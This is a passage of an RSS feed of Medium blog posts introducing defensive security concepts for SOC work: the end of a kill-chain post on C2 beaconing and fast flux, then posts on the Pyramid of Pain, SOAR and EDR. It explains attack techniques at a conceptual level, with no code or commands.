include:</p><ul><li>HTTP on port 80 and HTTPS on port 443, so, the malicious beaconing traffic is blended with the legitimate traffic and can help the attacker evade firewalls.</li><li>DNS (Domain Name Server), where the infected machine makes constant DNS requests to the DNS server that belongs to an attacker (DNS Tunneling). The attacker can use another another DNS-based evasion technique which is Fast Flux (The usage of a network of botnets to hide a C2 server by rapidly changing the IP addresses associated with a single domain name or even changing the domain name which makes it difficult to take down or block malicious servers).</li></ul><p><strong>Phase 7: Actions and Activities</strong></p><p>Finally, the attacker can do whatever actions he wants to complete his objectives after gaining full access to the target.</p><p>Thanks….</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f467b5fba35" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cyber Defense Frameworks (Pyramid of Pain)]]></title>
            <link>https://medium.com/@ak877017/cyber-defense-frameworks-pyramid-of-pain-77a814692c9b?source=rss-c95418df8cc5------2</link>
            <guid isPermaLink="false">https://medium.com/p/77a814692c9b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[framework]]></category>
            <dc:creator><![CDATA[Ahmad Khaled ]]></dc:creator>
            <pubDate>Fri, 23 Jan 2026 09:05:28 GMT</pubDate>
            <atom:updated>2026-01-23T09:05:28.776Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Pyramid of Pain</strong> is a cybersecurity model that shows how difficult it is for attackers to change different indicators when detected by defenders.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*qwTWXmhIuwowGGNr" /></figure><p><strong>Introduction:</strong></p><p>The <strong>Pyramid of Pain</strong> is a cybersecurity concept that illustrates how difficult it is for an attacker to change different types of indicators when defenders detect and block them. It helps security teams understand which indicators cause the most issues (pain) to adversaries/attackers and which are easier for them to evade.</p><p>The model is structured as a pyramid, that the bottom indicators are easy for attackers to change and as we move higher the indicators become harder to modify, forcing attackers to invest more time, resources, and effort to continue their campaigns.</p><p>The Pyramid of Pain is widely used in <strong>SOC operations, threat intelligence, and incident response</strong> to guide more effective detection strategies.</p><p><strong>Pyramid of Pain: Structure</strong></p><p><strong>Hash values (Trivial):</strong></p><p>Hash value: A numeric value of a fixed length that is generated by a hashing algorithm and uniquely identifies data.</p><p>Common Hashing algorithms:</p><ul><li>MD5 (Message Digest): Has 128-bit hash value, but MD5 hashes are NOT considered cryptographically secure (includes hash collision).</li><li>SHA-1 (Secure Hash Algorithm 1): SHA-1 takes an input and produces a 160-bit hash value string as a 40 digit hexadecimal number. SHA-1 is prone to brute-force attacks.</li><li>The SHA-2 (Secure Hash Algorithm 2): It replaced SHA-1. SHA-2 has many variants, and arguably the most common is SHA-256. The SHA-256 algorithm returns a hash value of 256-bits as a 64 digit hexadecimal number.</li></ul><p>Security professionals usually use the hash values to gain insights into a specific malware sample, a malicious or a suspicious file, and as a way to uniquely identify and reference the malicious artifact.</p><p>Various online tools can be used to do hash lookups like <a href="https://www.virustotal.com/gui/">VirusTotal</a>.</p><p>An attacker can modify a file by even a single bit, which would produce a different hash value. With so many variations and instances of known malware or ransomware, threat hunting using file hashes as the IOC (Indicators of Compromise) can become difficult.</p><p><strong>IP address (easy):</strong></p><p>A common defense tactic is to block, drop, or deny inbound requests from IP addresses on your parameter or external firewall.</p><p>An example on how attackers try to bypass the IP blocking:</p><ul><li>An adversary can make it challenging to successfully carry out IP blocking is by using <strong>Fast Flux. </strong>Fast Flux is a DNS-based evasion technique.</li><li>It uses a network of botnets to hide malicious infrastructure (C2 servers, phishing sites, malware hosting). It’s evasion technique is to rapidly change the IP addresses associated with a single domain name, making it difficult to take down or block malicious servers.</li><li>How it works?</li></ul><ol><li>An attacker registers a domain.</li><li>DNS records for the domain: Have very low TTL (Time To Live).</li><li>Each DNS query returns different IP address. Each IP address usually comes from different countries.</li><li>These IPs belong to compromised machines (bots).</li><li>Bots proxy traffic to the real backend C2 server.</li></ol><ul><li>SO, even if some IPs are taken down, the domain stays alive.</li></ul><p>Another type of <strong>Fast Flux</strong> is the <strong>Double Fast Flux:</strong></p><ol><li>The Domain name itself is changing in the records. ns1.domain_<a href="http://name.com/">name.com</a> , ns2.domain <a href="http://name.com/">name.com</a> , ….</li><li>Each DNS query returns different IP address.</li></ol><p>Fast Flux IOCs:</p><ol><li>Very low TTL (e.g., 30–300 seconds)</li><li>Large number of IPs for one domain.</li><li>IPs from many countries.</li><li>Frequent DNS responses changing.</li></ol><p><strong>Domain Name Services “DNS” (Easy):</strong></p><ul><li>Domain Names: Mapping an IP address to a string of text.</li><li>A domain name can contain a domain and a top-level domain or a sub-domain followed by a domain and top-level domain.</li><li>Domain Names isn’t easy to be changed as they would most likely need to purchase the domain, register it and modify DNS records.</li><li><strong>Punycode</strong> is an <strong>encoding method</strong> used to represent Unicode characters (non-ASCII characters) using ASCII characters, so they can work with the DNS system. Ex. Original: münchen.de and its Punycode: xn--mnchen-3ya.de</li><li>To detect malicious domains, proxy logs or web server logs can be used.</li></ul><p>Attackers usually hide the malicious domains under URL shorteners. A URL Shortener is a tool that creates a short and unique URL that will redirect to the specific website specified during the initial step of setting up the URL Shortener link. Ex: https://www.example.com/some/very/long/url/that/needs/to/be/shortened can be shortened to something like <a href="https://tinyurl.com/abc123.">https://tinyurl.com/abc123.</a></p><p><strong>Host Artifacts (Annoying):</strong></p><ul><li>Host artifacts are the traces or observables that attackers leave on the system (registry values, suspicious process execution, attack patterns or IOCs), files dropped by malicious applications, or anything exclusive to the current threat.</li></ul><p><strong>Network Artifacts (Annoying):</strong></p><ul><li>A network artifact can be a user-agent string, C2 information, or URI patterns followed by the HTTP POST requests.</li><li>An attacker might use a User-Agent string (the request-header field that contains the information about the user agent originating the request) that hasn’t been observed in your environment before or seems out of the ordinary.</li><li>Network artifacts can be detected in Wireshark PCAPs (file that contains the packet data of a network).</li></ul><p><strong>Tools (Challenging):</strong></p><ul><li>Attackers would use the tools to create malicious macro documents (maldocs) for spear-phishing attempts (a type of phishing attack that targets a specific individual, group or organization in order to exfiltrate sensitive data, downloading malware or sending money to an attacker), a backdoor that can be used to establish C2 (Command and Control), any custom .EXE, and .DLL files, payloads, or password crackers.</li><li>Antivirus signatures, detection rules, and YARA rules can be great weapons for you to use against attackers at this stage.</li><li><a href="https://bazaar.abuse.ch/">MalwareBazaar</a> and <a href="https://malshare.com/">Malshare</a> are good resources to provide you with access to the samples, malicious feeds, and YARA results. All of them can be very helpful when it comes to threat hunting and incident response.</li><li>For detection rules, <a href="https://tdm.socprime.com/">SOC Prime Threat Detection Marketplace</a> is a great platform, where security professionals share their detection rules for different kinds of threats including the latest CVE’s that are being exploited in the wild by adversaries.</li><li>Fuzzy hashing helps you to perform similarity analysis. Fuzzy hashing matches two files with minor differences (small difference in the metadata, a changed letter in a word file).</li></ul><p><strong>TTPs (Tough):</strong></p><ul><li>Tactics, Techniques &amp; Procedures (TTPs): All the steps taken by an adversary to achieve his goal, starting from phishing attempts to maintain persistence and data exfiltration.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=77a814692c9b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction into SOAR]]></title>
            <link>https://medium.com/@ak877017/introduction-into-soar-9c0eedbc5c06?source=rss-c95418df8cc5------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c0eedbc5c06</guid>
            <category><![CDATA[cybersecurity-tools]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ahmad Khaled ]]></dc:creator>
            <pubDate>Tue, 20 Jan 2026 19:15:22 GMT</pubDate>
            <atom:updated>2026-01-20T19:15:22.491Z</atom:updated>
            <content:encoded><![CDATA[<p>In a SOC environment, as threats grow more complex and advanced, SOC teams face challenges like alert fatigue, manual processes, too many disconnected tools, and difficulties in communication across teams. This is where Security Orchestration, Automation, and Response (SOAR) steps in to trying to overcome these challenges for a SOC team.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zgUwO1ouoXPE0Uyv3T6ubQ.png" /></figure><p>SOAR: Security Orchestration, Automation, and Response. It is a tool that integrates all the security tools used in a SOC. Using SOAR, SOC analysts do not need to switch between SIEM, EDR, Firewall, and other security tools during their investigations. All these tools can be operated using a single SOAR interface.</p><p>SOAR has three main capabilities like its name states:</p><ul><li>Orchestration: While investigating an alert, a SOC analyst has to switch between multiple security tools for the analysis. Manual switching between different tools slows down the investigation process. Orchestration solves this problem by coordinating all used tools together inside the SOAR. It connects different tools from various vendors within the unified SOAR interface. It also defines workflows for investigating various types of alerts (Playbooks). These playbooks are predefined steps that tell the SOAR how to investigate a specific alert. playbooks are dynamic and usually contain different paths. The result of each step determines the next action.</li><li>Automation: Orchestration and applying predefined actions through playbooks, can be automated. Automation means SOAR will itself follow the playbooks without the interference of the SOC analyst. This saves a huge amount of time for SOC analysts. They can handle hundreds of alerts without burning out.</li><li>Response: SOAR gives the ability to take actions using different tools from one unified interface and the response can also be automated.</li></ul><p>With SOAR, there is no more alert fatigue, most of the processes are automated, and all the different tools are connected for coordination.</p><p>SOAR also provides ticketing and case management features to the SOC analysts. These features provide the following capabilities:</p><ul><li>Accountability: who is assigned to the incident</li><li>Traceability : Full investigation timeline</li><li>Standardization: playbooks &amp; Service Level Agreements (SLAs).</li><li>Compliance &amp; auditing: Following standards like: ISO 27001, SOC 2, etc.</li><li>Knowledge retention: Lessons learned from the incident.</li></ul><p>Do we still Need SOC analysts?</p><ul><li>A SOAR tool can automate the majority of repetitive tasks, but it still can’t handle complex investigations, so a SOC analyst is still required, but SOAR cannot give a judgment call at some critical points that an analyst can.</li><li>A SOC analyst understands the threats in the broader business context. A SOC analyst also makes the playbooks for different types of alerts</li><li>So, the SOAR would ease the burden of SOC by automating repetitive tasks and organizing everything in a simplified structure, but SOC analysts are still needed.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c0eedbc5c06" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[An Introduction to EDR:]]></title>
            <link>https://medium.com/@ak877017/an-introduction-to-edr-9fd7cade736c?source=rss-c95418df8cc5------2</link>
            <guid isPermaLink="false">https://medium.com/p/9fd7cade736c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[cybersecurity-tools]]></category>
            <dc:creator><![CDATA[Ahmad Khaled ]]></dc:creator>
            <pubDate>Sun, 18 Jan 2026 19:37:52 GMT</pubDate>
            <atom:updated>2026-01-19T10:39:05.428Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone!</p><p>This is a writeup for the End-Point Detection and Response (EDR). A security solution designed to monitor, detect, and respond to advanced threats at the endpoint level.</p><p><strong>End-Point Detection and Response (EDR)</strong></p><p>A security solution that offers deep-level protection for endpoints. It also makes sure that these devices are monitored constantly and threats are detected even if they are out of the perimeter protection deployed on the organization’s network. An EDR also provides organization-wide visibility of any activity (If a suspicious file is detected on one endpoint, the EDR will also check it across all the other endpoints).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/0*enS4d0ODXhK_Q2Jn" /></figure><p><strong>Famous EDR solutions:</strong></p><ul><li>CrowdStrike Falcon.</li><li>Microsoft Defender for Endpoints.</li><li>OpenEDR.</li></ul><p><strong>Core features of EDR:</strong></p><ul><li><strong>Visibility</strong>: EDR collects detailed data from the endpoints, which includes process modifications, registry modifications, file and folder modifications, user actions, and much more. It then presents this information in a very structured format to the analyst. The analyst can see the whole process tree with a complete activity timeline of the sequence of actions. The analyst can also access the historical data of any endpoint for threat hunting or any other purpose.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_7w2fZHF4KfjL-tyEzr3fA.png" /></figure><ul><li><strong>Detection</strong>: EDR incorporates signature-based detections as well as behavior-based detections. With modern machine learning capabilities, it identifies any deviation from the baseline behavior and instantly flags it. It can also detect fileless malware that resides in memory (Not a .exe file that is loaded to the disk).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C04VUCy4llwJbnNXsH1VHQ.png" /></figure><ul><li><strong>Response</strong>: EDR helps analysts to take action on detected threats. A SOC analyst may decide to isolate a complete endpoint, terminate a process, quarantine some files, or connect to the host remotely and execute actions independently via the EDR console.</li></ul><p><strong>EDR vs Antivirus:</strong></p><ul><li>The main difference between an Antivirus and an EDR is that the Antivirus only checks for files on the computers disk against its database of signatures (Signature-based detection) to detect some basic threats. However the EDR monitors every event that happens inside your computer and correlates them providing a context, that’s how it can detect any malicious behavior on a computer and provides the analyst with an Attack Chain.</li></ul><p><strong>EDR components:</strong></p><ul><li><strong>Agents</strong>: Monitors all the activities of the endpoints. Multiple agents are integrated and managed by one centralized EDR console. The information about the behaviors of the endpoints with the deployed agents are sent to the EDR console in real-time. The EDR agents can do some basic signature-based and behavior-based detections by themselves and send them to the EDR console, which triggers alerts.</li><li><strong>EDR console</strong>: The sent information is analyzed through complex logic, machine learning algorithms and threat intelligence information.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FymmNAmX7DDqXcxHbwM6rQ.png" /></figure><ul><li>The EDR facilitates the prioritization process for the SOC analyst as it gives severities to all the alerts (Critical, High, Medium, Low, Informational). The alert with the highest severity is investigated first as a priority. EDR also facilitates investigation, once the alert is clicked, the analyst can see all the details of the detection (executed files, processes, network connection attempts, registry modifications, and much more), so the analyst will use his expertise and the available information to determine if the generated alert is a false positive or a true positive. In case of a true positive, the analyst can take actions from within the EDR console.</li><li>EDR works alongside other security solutions to form a larger security ecosystem (such as: Firewalls, DLPs, Email Security Gateways, IAMs). Each security solution protects different components of the network. All these security solutions are integrated with a SIEM solution that it becomes the central point of investigation for the analysts.</li></ul><p>Data that are collected by an EDR is called Telemetry which has some categories:</p><ul><li><strong>Process Executions and Terminations: </strong>ِAll the running and idle processes are being monitored, which helps to identify suspicious child-parent process relationships, suspicious executables initiating a process, malware payload, etc.</li><li><strong>Network Connections:</strong> All the endpoints’ network connections are being monitored, which helps identify any connection to a C2 server, unusual port usage, data exfiltration, or lateral movement within the network.</li><li><strong>Command Line Activity: </strong>All the commands executed on the endpoints in CMD, PowerShell, etc. are monitored, which helps to identify malicious command execution, obfuscated PowerShell script executions (a script that has been intentionally modified to make it difficult for humans to read and understand through encoding commands, removing whitespaces, or replacing meaningful variable names with random characters), which are often missed by a traditional antivirus.</li><li><strong>Files and Folders Modifications:</strong> Threat actors modify different files and folders during data staging (ransomware executions, and malicious file dropping) and the EDR tracks this.</li><li><strong>Registry Modifications:</strong> The registry contains information about the configurations of a Windows system. There are many registry modifications that occur during a malicious activity, and most of these are monitored by the EDR.</li></ul><p><strong>Detection and Response techniques used by an EDR:</strong></p><p>1- <strong>Detection techniques:</strong></p><ul><li><strong>Behavioral Detection:</strong> Instead of just matching the signatures of known threats, it observes the complete behavior of a file. Advanced threats craft their malware to look clean and use legitimate processes to carry out their attack. EDR can catch this behavior.</li><li><strong>Anomaly Detection:</strong> EDR understands the baseline behavior of the endpoints as time passes. Any malicious activity that deviates from this behavior will be flagged and the EDR will pick it up. Sometimes, this can generate false positives as well. However, with the full context given the analyst can identify the alert legitimacy.</li><li><strong>IOC matching:</strong> EDRs have some strong threat intelligence field integrations. Except for zero-day attacks, most of the attacks have indicators published in the threat intelligence feeds. EDR flags any activity that matches any known Indicator Of Compromise (IOC).</li><li><strong>MITRE ATT&amp;CK Mapping:</strong> Any activity flagged by the EDR is not only marked as malicious or suspicious but also mapped with the MITRE Tactic and Technique (attack stage) of that particular activity which can be very helpful to an analyst.</li><li><strong>Machine Learning Algorithms:</strong> Modern EDRs have machine learning models trained by a large dataset of normal and malicious behaviors which gives the EDR the ability to detect complex patterns of an attack.</li></ul><p><strong>2- Response techniques:</strong></p><ul><li><strong>Isolate Host:</strong> During any malicious activity on an endpoint, you can isolate that endpoint from the network through EDR. This is a very effective function for containing malicious activity (stopping threat actors from moving laterally from one endpoint to another to compromise the whole network).</li><li><strong>Terminate Process:</strong> Some hosts run the core business operations, isolating them can cause more loss than the malicious activity. In such cases, EDR gives the option of terminating a process to contain the malicious activity. This action should be taken carefully since terminating a legitimate process can disrupt the endpoint.</li><li><strong>Quarantine:</strong> If a malicious file comes into the endpoint, it can be quarantined. Quarantine ensures that the file is moved to an isolated location where it can not be executed. The analysts can then review the file to restore or permanently remove it.</li><li><strong>Remote Access:</strong> Analysts can also remotely access the shell of any endpoint. Through remote access, analysts can gain deeper visibility into the system or take custom actions within the endpoints. The analysts can also run scripts or collect their desired data from the host through remote access.</li><li><strong>Artefacts Collection:</strong> Sometimes, the analysts may need to extract some data from the endpoints for detailed forensic investigation. Analysts can extract important artefacts (Memory Dump, Event Logs, Specific Folder Contents, Registry Hives) from the endpoints without physically accessing the device.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9fd7cade736c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>